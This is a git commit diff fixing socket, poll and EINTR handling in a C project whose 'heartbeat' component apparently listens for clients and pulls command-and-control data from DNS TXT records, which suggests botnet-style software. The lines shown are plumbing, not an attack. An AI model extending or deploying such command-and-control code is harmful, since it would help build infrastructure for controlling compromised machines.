diff options
author | David Timber <mieabby@gmail.com> | 2020-09-20 20:48:48 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-20 20:48:48 +0930 |
commit | 756ab80daa05a0d2f0d777d364164df94cb552c2 (patch) | |
tree | 3d2fb0f81520dc22911dbd34d03757035df9d041 | |
parent | e6bc98e641f9fceb47fb0e6c71775dce65b0ebab (diff) |
* Fix bug in htbt: set client socket non-block
* htbt: enforce HTBT_LBD_MAX_CLIENTS
* Fix bug: wrong use of pth_poll_ev() in
* prne_mbedtls_pth_handle()
* lssh2_handle()
-rw-r--r-- | src/htbt.c | 8 | ||||
-rw-r--r-- | src/libssh2.c | 9 | ||||
-rw-r--r-- | src/mbedtls.c | 6 |
3 files changed, 19 insertions, 4 deletions
@@ -26,6 +26,7 @@ #define HTBT_CNCP_INT_VAR 1800000 // half an hour variance #define HTBT_LBD_PORT prne_htobe16(PRNE_HTBT_PROTO_PORT) #define HTBT_LBD_BACKLOG 4 +#define HTBT_LBD_MAX_CLIENTS 5 // CNCP TXT Record Data Transfer Timeout static const struct timespec HTBT_CNCP_STREAM_TIMEOUT = { 1800, 0 }; // 30m @@ -2362,6 +2363,13 @@ static void htbt_lbd_serve_loop (prne_htbt_t *ctx) { client = NULL; ent = NULL; do { // TRY + if (!prne_sck_fcntl(fret)) { + goto CATCH; + } + if (ctx->lbd.conn_list.size >= HTBT_LBD_MAX_CLIENTS) { + goto CATCH; + } + client = (htbt_lbd_client_t*)prne_malloc( sizeof(htbt_lbd_client_t), 1); diff --git a/src/libssh2.c b/src/libssh2.c index 23c2f1d..530e4ef 100644 --- a/src/libssh2.c +++ b/src/libssh2.c @@ -87,7 +87,14 @@ static int lssh2_handle ( } f_ret = prne_pth_poll(&pfd, 1, -1, ev); - if (f_ret <= 0) { + if (f_ret < 0) { + if (errno == EINTR) { + if (ev == NULL || + pth_event_status(ev) != PTH_STATUS_OCCURRED) + { + continue; + } + } f_ret = -1; break; } diff --git a/src/mbedtls.c b/src/mbedtls.c index 65d2685..3b77315 100644 --- a/src/mbedtls.c +++ b/src/mbedtls.c @@ -141,6 +141,9 @@ bool prne_mbedtls_pth_handle ( do { pollret = prne_pth_poll(&pfd, 1, -1, ev); + if (ev != NULL && pth_event_status(ev) == PTH_STATUS_OCCURRED) { + return false; + } if (pollret < 0) { if (errno == EINTR) { continue; @@ -149,9 +152,6 @@ bool prne_mbedtls_pth_handle ( return false; } } - if (pollret == 0 || pth_event_status(ev) == PTH_STATUS_OCCURRED) { - return false; - } } while (false); } } |